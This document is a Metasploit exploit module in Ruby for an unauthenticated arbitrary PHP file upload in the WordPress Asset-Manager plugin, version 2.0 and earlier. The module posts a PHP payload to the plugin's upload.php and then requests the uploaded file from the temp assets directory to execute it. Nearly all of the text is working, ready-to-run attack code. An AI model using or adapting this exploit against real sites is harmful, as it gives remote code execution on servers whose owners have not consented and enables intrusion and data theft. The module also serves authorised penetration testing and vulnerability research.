WordPress Plugin Asset-Manager - Arbitrary '.PHP' File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
			'Description'    => %q{
				This module exploits a vulnerability found in Asset-Manager <= 2.0	WordPress
				plugin.  By abusing the upload.php file, a malicious user can upload a file to a
				temp directory without authentication, which results in arbitrary code execution.
			},
			'Author'         =>
				[
					'Sammy FORGIT', # initial discovery
					'James Fitts <fitts.james[at]gmail.com>' # metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '82653' ],
					[ 'BID', '53809' ],
					[ 'EDB', '18993' ],
					[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
				],
			'Payload'	     =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'May 26 2012'))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
			], self.class)
	end

	def exploit
		uri =  target_uri.path
		uri << '/' if uri[-1,1] != '/'
		peer = "#{rhost}:#{rport}"
		payload_name = "#{rand_text_alpha(5)}.php"
		php_payload = get_write_exec_payload(:unlink_self=>true)

		data = Rex::MIME::Message.new
		data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		print_status("#{peer} - Uploading payload #{payload_name}")
		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => post_data
		})

		if not res or res.code != 200 or res.body !~ /#{payload_name}/
			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
		end

		print_status("#{peer} - Executing payload #{payload_name}")
		res = send_request_raw({
			'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
			'method'  => 'GET'
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
		end
	end
end